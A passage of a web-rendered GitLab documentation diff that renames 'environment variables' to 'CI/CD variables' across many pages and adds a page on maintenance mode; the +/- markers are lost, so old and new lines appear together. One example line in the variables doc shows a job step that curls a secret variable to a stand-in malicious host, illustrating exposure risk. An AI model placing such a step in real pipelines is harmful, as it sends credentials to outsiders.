and jobs run. For example, you could:
Environment variables are part of the environment in which a process runs.
For example, a running process could:
- Use the value of a `TEMP` environment variable to know the correct location
to store temporary files.
- Use the value of a `TEMP` variable to know the correct location to store temporary files.
- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.
Variables are useful for customizing your jobs in GitLab CI/CD.
Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
When you use variables, you don't have to hard-code values.
> For more information about advanced use of GitLab CI/CD:
@ -28,28 +23,27 @@ When you use variables, you don't have to hard-code values.
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
> of managing projects across many cloud providers with GitLab CI/CD.
## Predefined environment variables
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined variables](predefined_variables.md)
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
that you can use without any additional specification.
You can call issue numbers, user names, branch names,
pipeline and commit IDs, and much more.
Predefined environment variables are provided by GitLab
for the local environment of the runner.
Predefined variables are provided by GitLab for the local environment of the runner.
GitLab reads the `.gitlab-ci.yml` file and sends the information
to the runner, where the variables are exposed. The runner then runs the script commands.
### Use predefined environment variables
### Use predefined CI/CD variables
You can choose one of the existing predefined variables
You can choose one of the existing predefined CI/CD variables
to be output by the runner.
This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
you use the correct [syntax](#syntax-of-environment-variables-in-job-scripts).
you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).
```yaml
test_variable:
@ -63,9 +57,9 @@ job `test_variable`, which is `test`:
![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
## Custom environment variables
## Custom CI/CD variables
When you need a specific custom environment variable, you can
When you need a specific custom variable, you can
[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
@ -97,7 +91,7 @@ For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined
### Create a custom variable in the UI
From within the UI, you can add or update custom environment variables:
From the UI, you can add or update custom variables:
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
@ -105,7 +99,7 @@ From within the UI, you can add or update custom environment variables:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: `File` or `Variable`.
- **Environment scope**: `All`, or specific environments.
- **Environment scope**: `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
@ -146,7 +140,7 @@ build:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
### Custom environment variables of type Variable
### Custom CI/CD variables of type Variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
@ -156,7 +150,7 @@ that uses the key for the name and the value for the value.
There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
which may be further validated. They appear when you add or update a variable in the UI.
### Custom environment variables of type File
### Custom CI/CD variables of type File
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
@ -208,7 +202,7 @@ The value of the variable must:
- Be in a single line.
- Be at least 8 characters long.
- Not be a predefined or custom environment variable.
- Not be a predefined or custom CI/CD variable.
- Consist only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
@ -249,7 +243,7 @@ WARNING:
When you store credentials, there are security implications. If you are using AWS keys,
for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
## Syntax of environment variables in job scripts
## Syntax of CI/CD variables in job scripts
All variables are set as environment variables in the build environment, and
they are accessible with normal methods that are used to access such variables.
@ -265,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https:
### Bash
To access environment variables in **bash**, prefix the variable name with (`$`):
To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
```yaml
job_name:
@ -276,8 +270,8 @@ job_name:
### PowerShell
To access variables in a **Windows PowerShell** environment, including system set
environment variables, prefix the variable name with (`$env:`). Environment variables
set by GitLab CI can also be accessed by prefixing the variable name with (`$`) with
environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
can also be accessed by prefixing the variable name with (`$`) with
[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
and later.
@ -373,9 +367,8 @@ export GITLAB_USER_ID="42"
## `.gitlab-ci.yml` defined variables
You can add variables that are set in the build environment to `.gitlab-ci.yml`.
These variables are saved in the repository, and they
are meant to store non-sensitive project configuration, like `RAILS_ENV` or
You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
`DATABASE_URL`.
For example, if you set the variable below globally (not inside a job), it is
@ -412,13 +405,16 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
## Group-level environment variables
## Group-level CI/CD variables
> Introduced in GitLab 9.4.
You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). They are securely passed to GitLab Runner, which makes them available during a pipeline run.
You can define per-project or per-group variables that are set in the pipeline environment.
Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
They are securely passed to GitLab Runner, which makes them available during a pipeline run.
We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who:
We recommend using group variables to store secrets (like passwords, SSH keys, and
credentials) for users who:
- Do **not** use an external key store.
- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
@ -436,7 +432,7 @@ After you set them, they are available for all subsequent pipelines. Any group-l
![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
## Instance-level CI/CD environment variables
## Instance-level CI/CD variables
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
@ -477,12 +473,12 @@ To enable it:
Feature.enable(:instance_variables_ui)
```
## Inherit environment variables
## Inherit CI/CD variables
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
You can inherit environment variables from dependent jobs.
You can inherit CI/CD variables from dependent jobs.
This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature.
@ -525,7 +521,7 @@ deploy:
artifacts: true
```
## Priority of environment variables
## Priority of CI/CD variables
Variables of different types can take precedence over other
variables, depending on where they are defined.
@ -534,14 +530,14 @@ The order of precedence for variables is (from highest to lowest):
1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable).
1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable).
1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable).
1. [Inherited environment variables](#inherit-environment-variables).
1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. [Inherited CI/CD variables](#inherit-cicd-variables).
1. YAML-defined [job-level variables](../yaml/README.md#variables).
1. YAML-defined [global variables](../yaml/README.md#variables).
1. [Deployment variables](#deployment-environment-variables).
1. [Predefined environment variables](predefined_variables.md).
1. [Deployment variables](#deployment-variables).
1. [Predefined CI/CD variables](predefined_variables.md).
For example, if you define:
@ -555,7 +551,7 @@ variables take precedence over those defined in `.gitlab-ci.yml`.
Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html).
Each shell has its own unique set of reserved variable names.
Keep in mind the [scope of environment variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
## Where variables can be used
@ -563,14 +559,14 @@ Keep in mind the [scope of environment variables](where_variables_can_be_used.md
## Advanced use
### Limit the environment scopes of environment variables
### Limit the environment scopes of CI/CD variables
You can limit the environment scope of a variable by
[defining which environments](../environments/index.md) it can be available for.
To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
### Deployment environment variables
### Deployment variables
> Introduced in GitLab 8.15.
@ -588,11 +584,10 @@ An example integration that defines deployment variables is the
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
You can configure [Auto DevOps](../../topics/autodevops/index.md) to
pass CI variables to the running application by prefixing the key of the
pass CI/CD variables to the running application by prefixing the key of the
variable with `K8S_SECRET_`.
These [prefixed
variables](../../topics/autodevops/customize.md#application-secret-variables) are
These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are
then available as environment variables on the running application
container.
@ -611,7 +606,7 @@ You can override the value of a variable when:
1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables).
1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline).
These pipeline variables declared in these events take [priority over other variables](#priority-of-environment-variables).
These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables).
#### Restrict who can override variables
@ -624,7 +619,7 @@ variables, an `Insufficient permissions to set pipeline variables` error occurs.
The setting is `disabled` by default.
If you [store your CI configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
use this setting for strict control over all aspects of the environment
the pipeline runs in.
@ -648,7 +643,7 @@ value for this specific pipeline.
![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)
## Environment variables expressions
## CI/CD variable expressions
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyexcept-advanced)
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
@ -682,7 +677,7 @@ when `except` is being used, a job is not created.
This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyexcept-advanced).
### Syntax of environment variable expressions
### Syntax of CI/CD variable expressions
Below you can find supported syntax reference.

8
doc/ci/variables/predefined_variables.md
View file

@ -5,19 +5,19 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
# Predefined environment variables reference
# Predefined variables reference
For an introduction on this subject, read through the
[getting started with environment variables](README.md) document.
[CI/CD variables](README.md) document.
Some of the predefined environment variables are available only if a minimum
Some of the predefined variables are available only if a minimum
version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the
version of GitLab Runner that's required.
You can add a command to your `.gitlab-ci.yml` file to
[output the values of all variables available for a job](README.md#list-all-environment-variables).
Kubernetes-specific environment variables are detailed in the
Kubernetes-specific variables are detailed in the
[Kubernetes deployment variables](../../user/project/clusters/index.md#deployment-variables) section.
| Variable | GitLab | Runner | Description |

2
doc/ci/variables/where_variables_can_be_used.md
View file

@ -124,7 +124,7 @@ They are:
- Script execution shell.
- Not supported:
- For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab.
- In the `only` and `except` [variables expressions](README.md#environment-variables-expressions).
- In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions).
Some of the persisted variables contain tokens and cannot be used by some definitions
due to security reasons.

16
doc/ci/yaml/README.md
View file

@ -1212,13 +1212,13 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as
`rules:if` differs slightly from `only:variables` by accepting only a single
expression string per rule, rather than an array of them. Any set of expressions to be
evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions).
by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions).
Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts)
Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts)
sections, variables in rules expressions are always formatted as `$VARIABLE`.
`if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md)
or [custom environment variables](../variables/README.md#custom-environment-variables).
or [custom environment variables](../variables/README.md#custom-cicd-variables).
For example:
@ -1303,7 +1303,7 @@ Other commonly used variables for `if` clauses:
branch (usually `master`). Use when you want to have the same configuration in multiple
projects with different default branches.
- `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables)
- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables)
`CUSTOM_VARIABLE` does **not** match a regular expression.
- `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is
exactly `value1`.
@ -3577,7 +3577,7 @@ test:
```
Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL`
[environment variable](../variables/README.md#predefined-environment-variables) set.
[environment variable](../variables/README.md#predefined-cicd-variables) set.
Different languages and test suites have different methods to enable parallelization.
For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters)
@ -3616,7 +3616,7 @@ There can be from 2 to 50 jobs.
Jobs can only run in parallel if there are multiple runners, or a single runner is
[configured to run multiple jobs concurrently](#use-your-own-runners).
Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value.
Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/README.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value.
```yaml
deploystacks:
@ -4290,7 +4290,7 @@ They can be set globally and per-job.
There are two types of variables.
- [Custom variables](../variables/README.md#custom-environment-variables):
- [Custom variables](../variables/README.md#custom-cicd-variables):
You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI,
or by using the API. You can also input variables in the GitLab UI when
[running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
@ -4326,7 +4326,7 @@ meaning it applies to all jobs. If you define a variable in a job, it's availabl
to that job only.
If a variable of the same name is defined globally and for a specific job, the
[job-specific variable overrides the global variable](../variables/README.md#priority-of-environment-variables).
[job-specific variable overrides the global variable](../variables/README.md#priority-of-cicd-variables).
All YAML-defined variables are also set to any linked
[Docker service containers](../docker/using_docker_images.md#what-is-a-service).

2
doc/ci/yaml/script.md
View file

@ -121,7 +121,7 @@ job:
- echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again."
```
You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-environment-variables),
You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-cicd-variables),
which makes the commands easier to read and reusable.
For example, using the same example as above and variables defined in a `before_script`:

4
doc/development/gitaly.md
View file

@ -211,9 +211,9 @@ and specify it in the URL:
GITALY_REPO_URL=https://gitlab+deploy-token-1000:token-here@gitlab.com/nick.thomas/gitaly bundle exec rspec spec/lib/gitlab/git/repository_spec.rb
```
To use a custom Gitaly repository in CI, for instance if you want your
To use a custom Gitaly repository in CI/CD, for instance if you want your
GitLab fork to always use your own Gitaly fork, set `GITALY_REPO_URL`
as a [CI environment variable](../ci/variables/README.md#gitlab-cicd-environment-variables).
as a [CI/CD variable](../ci/variables/README.md).
### Use a locally modified version of Gitaly RPC client

19
doc/development/maintenance_mode.md Normal file
View file

@ -0,0 +1,19 @@
---
stage: Enablement
group: Geo
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Internal workings of maintenance mode **(PREMIUM SELF)**
## Where is maintenance mode enforced?
Maintenance mode **only** blocks writes from HTTP and SSH requests at the application level in a few key places within the rails application.
[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for `Gitlab::Database.read_only?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=Gitlab%3A%3ADatabase.read_only%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=)
- [the read-only middleware](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/middleware/read_only/controller.rb), where HTTP requests that cause database writes are blocked, unless explicitly allowed.
- [Git push access via SSH is denied](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/git_access.rb#L13) by returning 401 when `gitlab-shell` POSTs to `/internal/allowed` to [check if access is allowed](internal_api.md#git-authentication).
- [Container registry authentication service](https://gitlab.com/gitlab-org/gitlab/-/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/app/services/ee/auth/container_registry_authentication_service.rb#L12), where updates to the container registry are blocked.
The database itself is not in read-only mode (except in a Geo secondary site) and can be written by sources other than the ones blocked.

2
doc/raketasks/backup_restore.md
View file

@ -810,7 +810,7 @@ data into (`gitlabhq_production`). All existing data is either erased
To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json`
(for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from
source). This file contains the database encryption key,
[CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and
[CI/CD variables](../ci/variables/README.md), and
variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md).
If you fail to restore this encryption key file along with the application data
backup, users with two-factor authentication enabled and GitLab Runner

8
doc/topics/autodevops/customize.md
View file

@ -136,7 +136,7 @@ repository or by specifying a project variable:
file in it, Auto DevOps detects the chart and uses it instead of the
[default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
you to control exactly how your application is deployed.
- **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables)
- **Project variable** - Create a [project CI/CD variable](../../ci/variables/README.md)
`AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project
variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository,
and `AUTO_DEVOPS_CHART` with the path to the chart.
@ -171,7 +171,7 @@ list of options.
## Custom Helm chart per environment
You can specify the use of a custom Helm chart per environment by scoping the environment variable
to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables).
to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
## Customizing `.gitlab-ci.yml`
@ -357,7 +357,7 @@ applications.
NOTE:
After you set up your replica variables using a
[project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables),
[project CI/CD variable](../../ci/variables/README.md),
you can scale your application by redeploying it.
WARNING:
@ -376,7 +376,7 @@ The following table lists variables related to the database.
| `POSTGRES_ENABLED` | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. |
| `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. |
| `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. |
| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. |
| `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-cicd-variables). Set it to use a custom database name. |
| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. |
### Disable jobs

4
doc/topics/autodevops/index.md
View file

@ -166,7 +166,7 @@ any of the following places:
**Continuous Integration and Delivery** section
The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence
as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables).
as other environment [variables](../../ci/variables/README.md#priority-of-cicd-variables).
If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain**
setting is used if set.
@ -286,7 +286,7 @@ used by Auto DevOps currently defines 3 environment names:
Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so
except for the environment scope, they must have a different deployment domain.
You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above
[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables).
[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
The following table is an example of how to configure the three different clusters:

2
doc/user/application_security/api_fuzzing/index.md
View file

@ -599,7 +599,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the CI/CD variable `SECRET_OVERRIDES` provides the JSON. This is a
[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-environment-variables):
[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables):
```yaml
include:

2
doc/user/application_security/index.md
View file

@ -549,7 +549,7 @@ This is often followed by the [error `No files to upload`](../../ci/pipelines/jo
and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Please
check the entire job log for such messages. If you don't find these messages, retry the failed job
after setting `SECURE_LOG_LEVEL: "debug"` as a
[custom environment variable](../../ci/variables/README.md#custom-environment-variables).
[custom environment variable](../../ci/variables/README.md#custom-cicd-variables).
This provides useful information to investigate further.
### Getting error message `sast job: config key may not be used with 'rules': only/except`

2
doc/user/application_security/offline_deployments/index.md
View file

@ -152,7 +152,7 @@ GitLab.com. To do so, set the environment variable `SECURE_ANALYZERS_PREFIX` wit
project [container registry](../../packages/container_registry/index.md).
You can set this variable in the projects' `.gitlab-ci.yml`, or
in the GitLab UI at the project or group level. See the [GitLab CI/CD environment variables page](../../../ci/variables/README.md#custom-environment-variables)
in the GitLab UI at the project or group level. See the [GitLab CI/CD environment variables page](../../../ci/variables/README.md#custom-cicd-variables)
for more information.
#### Variables

2
doc/user/application_security/sast/index.md
View file

@ -491,7 +491,7 @@ Some analyzers can be customized with environment variables.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab Ultimate 12.5.
In addition to the aforementioned SAST configuration variables,
all [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) are propagated
all [custom CI/CD variables](../../../ci/variables/README.md#custom-cicd-variables) are propagated
to the underlying SAST analyzer images if
[the SAST vendored template](#configuration) is used.

6
doc/user/compliance/license_compliance/index.md
View file

@ -367,7 +367,7 @@ source "https://gems.example.com"
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by
specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html)
[environment variable](../../../ci/variables/README.md#custom-environment-variables)
[environment variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
### Configuring Cargo projects
@ -391,7 +391,7 @@ To supply a custom root certificate to complete TLS verification, do one of the
- Use the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables).
- Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html)
[environment variable](../../../ci/variables/README.md#custom-environment-variables)
[environment variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
### Configuring Composer projects
@ -424,7 +424,7 @@ For example:
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by
specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile)
[environment variable](../../../ci/variables/README.md#custom-environment-variables)
[environment variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
### Configuring Conan projects

2
doc/user/group/clusters/index.md
View file

@ -107,7 +107,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address.
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with
[environments](../../../ci/environments/index.md) similar to how the
[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables)
[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables)
work.
While evaluating which environment matches the environment scope of a

2
doc/user/packages/dependency_proxy/index.md
View file

@ -119,7 +119,7 @@ Proxy manually without including the port:
docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest
```
You can also use [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) to store and access your personal access token or other valid credentials.
You can also use [custom environment variables](../../../ci/variables/README.md#custom-cicd-variables) to store and access your personal access token or other valid credentials.
### Store a Docker image in Dependency Proxy cache

2
doc/user/packages/maven_repository/index.md
View file

@ -771,7 +771,7 @@ The next time the `deploy` job runs, it copies `ci_settings.xml` to the
user's home location. In this example:
- The user is `root`, because the job runs in a Docker container.
- Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-environment-variables).
- Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-cicd-variables).
### Create Maven packages with GitLab CI/CD by using Gradle

6
doc/user/project/clusters/index.md
View file

@ -87,7 +87,7 @@ differentiates the new cluster from the rest.
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work.
[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work.
The default environment scope is `*`, which means all jobs, regardless of their
environment, use that cluster. Each scope can be used only by a single cluster
@ -289,7 +289,7 @@ A Kubernetes cluster can be the destination for a deployment job. If
the cluster from your jobs using tools such as `kubectl` or `helm`.
- You don't use the GitLab cluster integration, you can still deploy to your
cluster. However, you must configure Kubernetes tools yourself
using [environment variables](../../../ci/variables/README.md#custom-environment-variables)
using [environment variables](../../../ci/variables/README.md#custom-cicd-variables)
before you can interact with the cluster from your jobs.
### Deployment variables
@ -311,7 +311,7 @@ following command in your deployment job script, for Kubernetes to access the re
```
The Kubernetes cluster integration exposes these
[deployment variables](../../../ci/variables/README.md#deployment-environment-variables) in the
[deployment variables](../../../ci/variables/README.md#deployment-variables) in the
GitLab CI/CD build environment to deployment jobs. Deployment jobs have
[defined a target environment](../../../ci/environments/index.md#defining-environments).

2
doc/user/project/integrations/prometheus_library/index.md
View file

@ -35,6 +35,6 @@ In order to isolate and only display relevant metrics for a given environment,
GitLab needs a method to detect which labels are associated. To do that,
GitLab uses the defined queries and fills in the environment specific variables.
Typically this involves looking for the
[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-environment-variables),
[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-cicd-variables),
but may also include other information such as the project's Kubernetes namespace.
Each search query is defined in the [exporter specific documentation](#exporters).

2
doc/user/project/integrations/prometheus_library/kubernetes.md
View file

@ -40,7 +40,7 @@ Prometheus needs to be deployed into the cluster and configured properly in orde
In order to isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available.
Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-environment-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
## Displaying Canary metrics **(PREMIUM)**

2
doc/user/project/new_ci_build_permissions_model.md
View file

@ -195,7 +195,7 @@ As a user:
### Dependent repositories
The [Job environment variable](../../ci/variables/README.md#predefined-environment-variables) `CI_JOB_TOKEN` can be used to
The [CI/CD variable](../../ci/variables/README.md#predefined-cicd-variables) `CI_JOB_TOKEN` can be used to
authenticate any clones of dependent repositories. For example:
```shell

12
locale/gitlab.pot
View file

@ -19529,6 +19529,12 @@ msgstr ""
